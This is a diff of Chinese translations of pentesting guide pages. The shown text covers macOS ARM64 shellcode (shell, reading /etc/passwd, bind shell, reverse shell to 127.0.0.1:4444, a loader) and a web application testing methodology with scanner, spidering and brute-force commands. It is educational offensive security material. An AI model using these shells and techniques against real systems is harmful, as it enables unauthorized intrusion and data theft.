> 设置环境变量 **`NSObjCMessageLoggingEnabled=1`** 可以记录此函数在文件 `/tmp/msgSends-pid` 中被调用的情况
> 设置环境变量 **`NSObjCMessageLoggingEnabled=1`**,可以将此函数何时被调用记录到像 `/tmp/msgSends-pid` 这样的文件中
>
> 此外,设置 **`OBJC_HELP=1`** 并调用任何二进制文件,您可以看到其他环境变量,您可以使用这些变量来 **log** 某些 Objc-C 操作发生时的情况
> 此外,设置 **`OBJC_HELP=1`** 并调用任意二进制,你可以看到其他可用于 **记录** 某些 Objc-C 操作何时发生的环境变量
当调用此函数时,需要找到所指实例的调用方法,为此进行不同的搜索
当调用此函数时,需要找到被指定实例调用的方法,为此会进行多种不同的查找
- 执行乐观缓存查找:
- 如果成功,完成
- 获取 runtimeLock(读取)
- 如果 (realize && !cls->realized) 实现类
- 如果 (initialize && !cls->initialized) 初始化类
- 尝试类自的缓存:
- 如果成功,完成
- 尝试类方法列表:
- 如果找到,填充缓存并完成
- 尝试类缓存:
- 如果成功,完成
- 尝试超类方法列表:
- 如果找到,填充缓存并完成
- 如果 (resolver) 尝试方法解析器,并从类查找重复
- 如果仍然在这里(= 所有其他都失败了)尝试转发器
- 执行乐观缓存查找:
- 如果成功,完成
- 获取 runtimeLock (read)
- 如果 (realize && !cls->realized) realize class
- 如果 (initialize && !cls->initialized) initialize class
- 尝试类自的缓存:
- 如果成功,完成
- 尝试类方法列表:
- 如果找到,填充缓存并完成
- 尝试类缓存:
- 如果成功,完成
- 尝试父类的方法列表:
- 如果找到,填充缓存并完成
- 如果 (resolver) 尝试 method resolver并从 class lookup 处重复
- 如果仍然到此(= 所有其它方法都失败)则尝试 forwarder
### Shellcodes
要编译:
To compile:
```bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
@ -401,7 +404,7 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
```
提取字节:
提取字节:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@ -417,7 +420,7 @@ done
```
<details>
<summary>测试 shellcode 的 C 代码</summary>
<summary>用于测试 shellcode 的 C 代码</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
@ -467,7 +470,7 @@ return 0;
#### Shell
取自[**这里**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s)并进行了解释
取自 [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) 并予以说明
{{#tabs}}
{{#tab name="with adr"}}
@ -539,7 +542,7 @@ sh_path: .asciz "/bin/sh"
#### 使用 cat 读取
目标是执行 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数 (x1) 是一个参数数组(在内存中,这意味着一堆地址的栈)。
目标是执行 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数x1是一个参数数组在内存中这意味着一个地址栈)。
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### 从一个分叉中使用 sh 调用命令,以便主进程不被终止
#### 通过 fork 使用 sh 调用命令,以便主进程不被杀死
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala"
```
#### Bind shell
[https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s)**port 4444** 中的 Bind shell
Bind shell 来自 [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s),在 **port 4444**
```armasm
.section __TEXT,__text
.global _main
@ -693,9 +696,9 @@ mov x2, xzr
mov x16, #59
svc #0x1337
```
#### 反向 shell
#### Reverse shell
来自 [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s)revshell 到 **127.0.0.1:4444**
[https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s)revshell 到 **127.0.0.1:4444**
```armasm
.section __TEXT,__text
.global _main

View File

@ -4,7 +4,7 @@
## 基本信息
Web 服务是最**常见且范围最广的服务**,并且存在大量 **不同类型的漏洞**。
Web 服务是最 **常见且广泛的服务**,并且存在很多 **不同类型的 vulnerabilities**。
**默认端口:** 80 (HTTP), 443(HTTPS)
```bash
@ -26,36 +26,36 @@ web-api-pentesting.md
## 方法论摘要
> 在本方法论中,我们假设你将攻击一个域名(或子域),并且仅针对该域名。因此,你应该将此方法应用于范围内发现的每个域名、子域或具有未确定 web 服务器的 IP
> 在此方法论中,我们假设你将攻击一个域名(或子域名),仅此而已。因此,你应该将此方法论应用到范围内每个发现的域名、子域名或具有未确定 web server 的 IP 上
- [ ] 首先**识别**web 服务器使用的**技术**。如果能够成功识别技术,请寻找在后续测试中需要注意的**tricks**
- [ ] 该技术版本是否存在任何**已知漏洞**
- [ ] 是否使用任何**知名技术**?有没有用于提取更多信息的**有用技巧**
- [ ] 是否有需要运行的**专用扫描器**(例如 wpscan
- [ ] 运行**通用扫描器**。你永远不知道它们是否会发现什么或提供一些有趣的信息。
- [ ] 从**初始检查**开始:**robots**、**sitemap**、**404** 错误和 **SSL/TLS scan**(若为 HTTPS
- [ ] 开始对网页进行 **spidering**:现在是时候**发现**所有可能的**files, folders**和正在使用的**parameters**。同时,检查是否有任何**special findings**
- [ ] _注意任何在 brute-forcing 或 spidering 期间发现的新目录都应被 spidered。_
- [ ] **Directory Brute-Forcing**:尝试对发现的所有文件夹进行 brute force以查找新的 **files****directories**
- [ ] _注意任何在 brute-forcing 或 spidering 期间发现的新目录都应被 Brute-Forced。_
- [ ] **Backups checking**:测试是否可以通过附加常见备份扩展名来找到已发现文件的 **backups**
- [ ] **Brute-Force parameters**:尝试**发现隐藏参数**。
- [ ] 一旦你**识别**出所有可能接受**user input**的**endpoints**,检查与之相关的各种**vulnerabilities**
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] 从**identifying** web server 使用的 **technologies** 开始。如果你能成功识别出 tech寻找在测试其余部分需要注意的 **tricks**
- [ ] 该技术版本是否存在任何 **known vulnerability**
- [ ] 使用任何 **well known tech**?有什么 **useful trick** 可以提取更多信息
- [ ] 是否有任何 **specialised scanner** 可运行(例如 wpscan
- [ ] 启动 **general purposes scanners**。你永远不知道它们是否会发现什么或找到有趣的信息。
- [ ] 从**initial checks**开始:**robots**, **sitemap**, **404** error 和 **SSL/TLS scan**(如果是 HTTPS
- [ ] 开始 **spidering** web 页面:现在是时候去**find** 所有可能的 **files, folders****parameters being used。** 同时,检查是否有任何 **special findings**
- [ ] _注意每当在 brute-forcing 或 spidering 过程中发现新目录时,应对其进行 spidering。_
- [ ] **Directory Brute-Forcing**:尝试对所有已发现的文件夹进行 brute force以搜索新的 **files****directories**
- [ ] _注意每当在 brute-forcing 或 spidering 过程中发现新目录时,应对其进行 Brute-Forced。_
- [ ] **Backups checking**:测试是否可以通过追加常见备份扩展名找到已发现文件的 **backups**
- [ ] **Brute-Force parameters**:尝试**find hidden parameters**。
- [ ] 一旦你**identified** 所有可能接受 **user input****endpoints**,检查与其相关的各种 **vulnerabilities**
- [ ] [遵循此检查清单](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
## Server 版本(易受攻击?)
### 识别
检查运行中的服务器 **version** 是否存在**已知漏洞**。\
响应的 **HTTP headers and cookies** 可能对**识别**所使用的 **technologies** 和/或 **version** 非常有用。**Nmap scan** 可以识别服务器版本,但工具 [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)或 [**https://builtwith.com/**](https://builtwith.com)****
检查运行的 server **version** 是否存在 **known vulnerabilities**。\
响应的 **HTTP headers and cookies** 可能对 **identify** 正在使用的 **technologies** 和/或 **version** 非常有用。**Nmap scan** 可以识别 server 版本,但下面这些工具也可能有用:[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) 或 [**https://builtwith.com/**](https://builtwith.com)****
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
搜索 [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **检查是否存在 WAF**
@ -65,7 +65,7 @@ webanalyze -host https://google.com -crawl 2
### Web 技术技巧
一些用于发现所使用的不同知名技术中漏洞的技巧
一些用于在不同已知**技术**中**发现漏洞**的**技巧**
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -101,27 +101,27 @@ webanalyze -host https://google.com -crawl 2
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_请注意**相同域名**在不同的**端口**、**文件夹**和**子域**中可能使用不同的**技术**。_\
如果 Web 应用使用任何之前列出的知名**技术/平台**或**其他**,不要忘记在互联网上**搜索新的技巧**(并告诉我!)。
_请注意同一**域名**在不同的**端口**、**文件夹**和**子域**下可能使用不同的**技术**。_\
如果 web 应用使用任何之前列出的已知**tech/platform listed before**或**其他**,别忘了在互联网上搜索新的技巧(并告诉我!)。
### 源代码审
### 源代码审
如果应用的 **source code** 可在 **github** 获得,除了你对该应用进行 **your own a White box test** 之外,还有一些信息可能对当前的 **Black-Box testing** 有用:
如果应用的**source code**可以在**github**上获取,除了你自己对该应用进行**White box test**之外,还有一些信息可能对当前的**Black-Box testing**有用:
- 是否存在 **Change-log 或 Readme 或 Version** 文件,或任何可通过 web 访问的包含 **版本信息** 的内容
- 凭据如何以及在哪里保存?是否存在任何(可访问的?)包含凭据(用户名或密码)的文件
- 密码是以明文、加密形式保存,还是使用了哪种哈希算法
- 是否使用了任何用于加密的主密钥?使用的是哪种算法
- 你能否通过利用某些漏洞访问这些文件中的任意一个
- github 的 issues已解决和未解决中是否有任何有趣的信息或者在提交历史中也许某个旧提交中引入了密码)?
- 是否存在 **Change-log or Readme or Version** 文件,或任何通过 web 可访问的 **version info**
- 凭证是如何以及在哪里保存的?是否存在任何(可访问的?)包含凭证(用户名或密码)的**file**
- 密码是以**明文**、**加密**保存,还是使用了哪种**hashing algorithm**
- 是否使用任何**master key**来加密某些内容?使用了哪种**algorithm**
- 是否可以通过利用某些漏洞来**访问这些文件**
- 在 github 上是否有任何有趣的信息(已解决或未解决的)**issues**?或在**commit history**中(可能某个旧的 commit 中引入过密码)?
{{#ref}}
code-review-tools.md
{{#endref}}
### 自动扫描器
### Automatic scanners
#### 通用自动扫描器
#### General purpose automatic scanners
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -135,10 +135,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS 扫描器
如果使用了 CMS不要忘记**运行扫描器**,也许能发现有价值的东西
如果使用 CMS别忘了**运行扫描器**,也许会发现有价值的信息
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 用于检测这些网站的安全问题。GUI\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 用于检测网站的安全问题。(GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **或** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -148,11 +148,11 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> 此时你应该已经掌握了一些关于客户端所使用的 web server 的信息(如果有提供任何数据)以及在测试中需要记住的一些技巧。如果幸运的话,你甚至可能发现了一个 CMS 并运行了一些 scanner
> 此时你应该已经掌握了一些关于客户端所使用的 web server 的信息(如果有提供任何数据)以及在测试中需要记住的一些技巧。如果幸运的话,你甚至已经发现了一个 CMS 并运行了一些扫描器
## Step-by-step Web Application Discovery
> 从这一点开始,我们将开始与 web application 进行交互。
> 从这一点开始我们将开始与 web 应用进行交互。
### Initial checks
@ -163,30 +163,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- 同时检查主页面和次要页面中的 comments
- 还要检查主页面和次级页面中的注释
**Forcing errors**
当向 Web servers 发送异常数据时,它们可能会**behave unexpectedly**。这可能会打开 **vulnerabilities** 或导致 **disclosure sensitive information**。
当向 Web 服务器发送异常数据时,它们可能会 **表现异常**。这可能会导致 **漏洞****敏感信息泄露**。
- 访问 **fake pages**,例如 /whatever_fake.php (.aspx,.html,.etc)
- 在 **cookie values** 和 **parameter** 值中**添加 "\[]", "]]", and "\[\["** 以触发错误
- **URL****end** 提供 **`/~randomthing/%s`** 来生成错误
- 尝试 **different HTTP Verbs**,例如 PATCH、DEBUG或错误的 FAKE
- 访问 **假页面**,例如 /whatever_fake.php (.aspx, .html, 等)
- 在 **cookie 值** 和 **参数值** 中添加 "\[]", "]]", 和 "\[\[" 来制造错误
- 通过在 **URL****末尾****`/~randomthing/%s`** 输入来触发错误
- 尝试不同的 **HTTP Verbs**,例如 PATCH、DEBUG使用错误的动词如 FAKE
#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
如果发现 **WebDav****enabled**,但你没有足够权限在根目录 **uploading files**,请尝试:
如果你发现 **WebDav****启用**,但在根目录没有足够权限进行 **文件上传**尝试:
- **Brute Force** credentials
- 通过 WebDav 向网页内 **found folders****rest** 上传 **Upload files**。你可能在其他文件夹有上传权限。
- 对凭证进行 **Brute Force**
- 通过 WebDav **上传文件** 到网页内部其他 **已发现文件夹****其余** 部分。你可能在其他文件夹中拥有上传权限。
### **SSL/TLS vulnerabilites**
- 如果应用在任何部分**没有强制使用 HTTPS**,则容易受到 **MitM**
- 如果应用通过 **HTTP** **sending sensitive data (passwords)**,那么这是一个高危漏洞。
- 如果应用程序在任何部分 **未强制使用 HTTPS**,那么它容易受到 **MitM** 攻击
- 如果应用通过 **HTTP 传输敏感数据(如密码)**,则这是一个严重漏洞。
使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 来检查 **vulnerabilities**(在 Bug Bounty programs 中,这类漏洞很可能不会被接受),并使用 [**a2sv** ](https://github.com/hahwul/a2sv) 来复这些漏洞:
使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 来检查 **漏洞**(在 Bug Bounty 项目中这些类型的漏洞可能不会被接受),并使用 [**a2sv** ](https://github.com/hahwul/a2sv) 来复这些漏洞:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -195,58 +195,58 @@ joomlavs.rb #https://github.com/rastating/joomlavs
sslscan <host:port>
sslyze --regular <ip:port>
```
关于 SSL/TLS vulnerabilities:
Information about SSL/TLS vulnerabilities:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
web 中启动某种 **spider**。spider 的目标是 **从被测试的应用中找到尽可能多的路径**。因此,应使用 web crawling 和外部来源来发现尽可能多的有效路径。
Web 应用内部启动某种 **spider**。spider 的目标是从被测试的应用中**找到尽可能多的路径**。因此,应使用 web 爬取和外部来源以发现尽可能多的有效路径。
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider,在 JS 文件中使用 LinkFinder并查询外部来源Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider带有用于 JS 文件的 LinkFinder并使用 Archive.org 作为外部来源。
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider也会标注“juicy files”。
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 交互式 CLI HTML spider。也会在 Archive.org 中搜索。
- [**meg**](https://github.com/tomnomnom/meg) (go): 该工具不是 spider但很有用。你可以指定一个 hosts 文件和一个 paths 文件meg 会对每个 host 的每个 path 发起请求并保存响应。
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): 具有 JS 渲染能力的 HTML spider。然而看起来未维护预编译版本较旧且当前代码无法编译。
- [**gau**](https://github.com/lc/gau) (go): 使用外部提供者wayback, otx, commoncrawl的 HTML spider。
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 该脚本会查找带参数的 URL 并列出它们。
- [**galer**](https://github.com/dwisiswant0/galer) (go): 带 JS 渲染能力的 HTML spider。
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider,具备 JS beautify 功能,能够在 JS 文件中搜索新路径。也可以看看 [JSScanner](https://github.com/dark-warlord14/JSScanner),它是 LinkFinder 的封装器。
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 用于从 HTML 源和嵌入的 javascript 文件中提取 endpoints。对 bug 猎人、red team、infosec 从业者很有用。
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用 Tornado 和 JSBeautifier 的 python2.7 脚本,用来从 JavaScript 文件解析相对 URL。对快速发现 AJAX 请求很有帮助。看起来未维护。
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件 (HTML)它会使用巧妙的正则表达式从混淆minify文件中查找并提取相对 URL。
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): 使用多个工具从 JS 文件中收集有趣的信息。
- [**subjs**](https://github.com/lc/subjs) (go): 查找 JS 文件。
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 在 headless 浏览器中加载页面并打印出为加载页面而加载的所有 urls。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 一款内容发现工具,结合了前面几个工具的多种选项。
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 一个 Burp 扩展,用于在 JS 文件中寻找路径和参数。
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 给定 .js.map URL 时,该工具会获取美化后的 JS 代码。
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 用于为给定目标发现 endpoints 的工具。
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** 从 wayback machine 发现链接(也会下载 wayback 中的响应并查找更多链接)。
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 爬取(甚至填充表单)并使用特定的正则表达式查找敏感信息。
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite 是为网络安全专业人士设计的高级多功能 GUI web 安全 Crawler/Spider。
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 一个 Go 包和 [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice),用于从 JavaScript 源代码中提取 URLs、paths、secrets 以及其他有意思的数据。
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge 是一个简单的 **Burp Suite extension**,用于**从请求中提取参数和 endpoints**以创建自定义 fuzzing/枚举 的 wordlist。
- [**katana**](https://github.com/projectdiscovery/katana) (go): 非常棒的工具。
- [**Crawley**](https://github.com/s0rg/crawley) (go): 打印它能找到的每个链接。
### Brute Force directories and files
从根文件夹开始 **brute-forcing**,并确保使用 **此方法** 对所有通过 **Spidering** 发现的 **目录** 进行 **brute-force**(你可以递归地进行此操作,并在所使用的 wordlist 开头追加发现的目录名)。\
从根目录开始进行 **brute-forcing**,并确保对使用**此方法**发现的**所有目录**以及通过**Spidering**发现的所有目录进行 **brute-force**(你可以递归地进行 brute-forcing并将已发现目录的名称追加在所用 wordlist 的开头)。\
工具:
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- **Dirb** / **Dirbuster** - 包含于 Kali**老旧**(且**慢**)但可用。允许自签名证书并支持递归搜索。与其它选项相比速度太慢。
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 它不允许自签名证书但**支持递归搜索。
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 支持自签名证书,但**不**支持**递归**搜索。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速,支持递归搜索。**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
- [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): 这不是 spider但给定已发现的 URL 列表后会删除“重复”的 URL。
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp 扩展,用于从不同页面的 Burp 历史中创建目录列表。
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 基于 js imports 移除具有重复功能的 URL。
- [**Chamaleon**](https://github.com/iustin24/chameleon): 使用 wapalyzer 检测所使用的技术并选择相应的 wordlists。
**推荐的字典:**
@ -271,37 +271,37 @@ _注意每当在 brute-forcing 或 spidering 过程中发现新目录时,
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
- **文件备份**: 一旦你找到了所有文件,查找所有可执行文件的备份("_.php_", "_.aspx_"...。备份文件命名的常见变体有_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ 你也可以使用工具 [**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **发现新参数**: 你可以使用像 [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **这样的工具来发现隐藏参数。如果可以的话,应尝试在每个可执行的 web 文件上搜索隐藏参数。**
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找 HTML 中可能导致 takeover 的断链。
- **File Backups**: 一旦找到所有文件,查找所有可执行文件的备份(例如 "_.php_", "_.aspx_" ...)。常见的备份命名变体包括: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 和 file.old._ 你也可以使用工具 [**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)****
- **Discover new parameters**: 你可以使用像 [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可能,应尝试在每个可执行的 web 文件中搜索隐藏参数。**
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **注释:** 检查所有文件的注释,你可能会发现 **凭据** 或 **隐藏功能**
- 如果你在玩 **CTF**,一个“常见”的技巧是在页面的**右侧**注释中**隐藏**信息(使用**数百个空格**,这样如果用浏览器打开源代码就看不到数据)。另一种可能是使用多个换行并在页面底部的注释中隐藏信息。
